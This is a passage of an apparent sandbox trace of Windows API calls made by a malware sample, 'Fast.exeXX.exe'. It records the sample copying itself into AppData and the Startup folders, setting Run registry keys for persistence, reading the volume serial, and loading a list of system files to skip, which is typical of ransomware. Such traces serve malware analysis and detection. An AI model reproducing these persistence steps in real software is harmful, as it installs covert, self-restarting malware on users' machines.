Size=0x20a) returned 0x3ca8f8 [0066.885] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ca2b0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.885] GetProcessHeap () returned 0x3b0000 [0066.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3cab10 [0066.885] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cab10, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.885] GetProcessHeap () returned 0x3b0000 [0066.885] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab10 | out: hHeap=0x3b0000) returned 1 [0066.885] GetProcessHeap () returned 0x3b0000 [0066.885] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3cab10 [0066.885] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cab10, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.885] GetProcessHeap () returned 0x3b0000 [0066.885] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab10 | out: hHeap=0x3b0000) returned 1 [0066.885] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\fast.exexx.exe"), bFailIfExists=0) returned 1 [0066.945] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x14fd68 | out: phkResult=0x14fd68*=0xac) returned 0x0 [0066.945] RegSetValueExW (hKey=0xac, lpValueName="Fast.exeXX", Reserved=0x0, dwType=0x1, lpData=0x3ca4c8, cbData=0x74) returned 0x5 [0066.945] RegCloseKey (hKey=0xac) returned 0x0 [0066.945] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x14fd64 | out: phkResult=0x14fd64*=0xac) returned 0x0 [0066.945] RegSetValueExW (in: hKey=0xac, lpValueName="Fast.exeXX", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe", cbData=0x74 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exeXX.exe") returned 0x0 [0066.946] RegCloseKey (hKey=0xac) returned 0x0 [0066.946] GetProcessHeap () returned 0x3b0000 [0066.946] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x134) returned 0x3cab10 [0066.946] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exexx.exe"), bFailIfExists=1) returned 1 [0066.952] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exeXX.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exexx.exe"), bFailIfExists=1) returned 0 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab10 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca2b0 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca4c8 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca6e0 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca8f8 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca058 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf858 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.953] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca0c0 | out: hHeap=0x3b0000) returned 1 [0066.953] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9870 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9898 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c98c0 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca058 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca058 | out: hHeap=0x3b0000) returned 1 [0066.954] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c98c0 | out: hHeap=0x3b0000) returned 1 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.954] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fd84, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fd84*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9898 | out: hHeap=0x3b0000) returned 1 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3ca058 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3c1648 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x190) returned 0x3ca088 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0x3ca220 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x64) returned 0x3ca298 [0066.954] GetProcessHeap () returned 0x3b0000 [0066.954] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3ca298, Size=0xc6) returned 0x3ca298 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x184) returned 0x3ca368 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3c1678 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3ca4f8 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x250) returned 0x3ca710 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa0) returned 0x3ca968 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x96) returned 0x3caa10 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x96) returned 0x3caab0 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cab50 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab50 | out: hHeap=0x3b0000) returned 1 [0066.955] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt", lpDst=0x3caa10, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt") returned 0x4b [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3caab0 | out: hHeap=0x3b0000) returned 1 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca968 | out: hHeap=0x3b0000) returned 1 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0x3ca968 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x62) returned 0x3caab0 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x62) returned 0x3cab20 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cab90 [0066.955] GetProcessHeap () returned 0x3b0000 [0066.955] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab90 | out: hHeap=0x3b0000) returned 1 [0066.955] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x3caab0, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab20 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3caab0, Size=0xc2) returned 0x3caab0 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc2) returned 0x3cab80 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cac50 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cac50 | out: hHeap=0x3b0000) returned 1 [0066.956] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x3caab0, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab80 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca968 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3cab80 [0066.956] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cab80, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cab80 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24e) returned 0x3cab80 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3cab80, Size=0x3cc) returned 0x3cab80 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x98) returned 0x3ca968 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3ca968, Size=0xb6) returned 0x3caf58 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6a) returned 0x3ca968 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca4f8 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca710 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.956] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3caa10 | out: hHeap=0x3b0000) returned 1 [0066.956] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3caab0 | out: hHeap=0x3b0000) returned 1 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c1648 | out: hHeap=0x3b0000) returned 1 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca088 | out: hHeap=0x3b0000) returned 1 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca220 | out: hHeap=0x3b0000) returned 1 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca368 | out: hHeap=0x3b0000) returned 1 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0x3c9870 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x1e) returned 0x3c9898 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1e) returned 0x3c98c0 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3ca9e0 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca9e0 | out: hHeap=0x3b0000) returned 1 [0066.957] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x3c9898, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c98c0 | out: hHeap=0x3b0000) returned 1 [0066.957] GetProcessHeap () returned 0x3b0000 [0066.957] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9870 | out: hHeap=0x3b0000) returned 1 [0066.957] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x14fd84, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x14fd84*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c9898 | out: hHeap=0x3b0000) returned 1 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0x3ca9e0 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3c1648 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x190) returned 0x3ca088 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0x3ca220 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x64) returned 0x3caa10 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3caa10, Size=0xc6) returned 0x3caa10 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x184) returned 0x3ca368 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0x3c1690 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3ca4f8 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x250) returned 0x3ca710 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xa0) returned 0x3cb018 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x96) returned 0x3caae0 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x96) returned 0x3cb0c0 [0066.958] GetProcessHeap () returned 0x3b0000 [0066.958] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cb160 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb160 | out: hHeap=0x3b0000) returned 1 [0066.959] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt", lpDst=0x3caae0, nSize=0x4b | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;lksf.txt") returned 0x4b [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb0c0 | out: hHeap=0x3b0000) returned 1 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb018 | out: hHeap=0x3b0000) returned 1 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x70) returned 0x3cb018 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x8, Size=0x62) returned 0x3cb090 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x62) returned 0x3cb100 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cb170 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb170 | out: hHeap=0x3b0000) returned 1 [0066.959] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x3cb090, nSize=0x31 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\cach") returned 0x34 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb100 | out: hHeap=0x3b0000) returned 1 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3cb090, Size=0xc2) returned 0x3cb090 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0xc2) returned 0x3cb160 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x90) returned 0x3cb230 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb230 | out: hHeap=0x3b0000) returned 1 [0066.959] ExpandEnvironmentStringsW (in: lpSrc="%windir%;%programdata%\\microsoft\\windows\\caches;", lpDst=0x3cb090, nSize=0x61 | out: lpDst="C:\\Windows;C:\\ProgramData\\microsoft\\windows\\caches;") returned 0x34 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb160 | out: hHeap=0x3b0000) returned 1 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb018 | out: hHeap=0x3b0000) returned 1 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.959] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20a) returned 0x3cb160 [0066.959] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3cb160, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exeXX.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exexx.exe")) returned 0x34 [0066.959] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb160 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x182) returned 0x3cb160 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x24e) returned 0x3cb2f0 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x98) returned 0x3cb548 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] RtlReAllocateHeap (Heap=0x3b0000, Flags=0x0, Ptr=0x3cb548, Size=0xb6) returned 0x3cb548 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x6a) returned 0x3cb018 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca4f8 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca710 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3caae0 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3cb090 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3c1648 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca088 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca220 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3ca368 | out: hHeap=0x3b0000) returned 1 [0066.960] GetProcessHeap () returned 0x3b0000 [0066.960] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3bec48 [0066.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2721e5, lpParameter=0x3bec48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8 [0066.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x272291, lpParameter=0x14fdb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0066.963] GetProcessHeap () returned 0x3b0000 [0066.963] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3cab20 [0066.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x272058, lpParameter=0x3cab20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb0 [0066.964] GetProcessHeap () returned 0x3b0000 [0066.964] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3cab60 [0066.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x27196d, lpParameter=0x3cab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb4 [0066.965] GetProcessHeap () returned 0x3b0000 [0066.965] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x14) returned 0x3cb0b0 [0066.965] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x271bbc, lpParameter=0x3cb0b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb8 [0066.966] WaitForSingleObject (hHandle=0xb4, dwMilliseconds=0xffffffff) returned 0x0 [0068.191] WaitForMultipleObjects (nCount=0x4, lpHandles=0x14fe18*=0xa8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 4 os_tid = 0xb30 [0066.967] GetProcessHeap () returned 0x3b0000 [0066.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x440) returned 0x3ca368 [0066.967] GetProcessHeap () returned 0x3b0000 [0066.967] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, 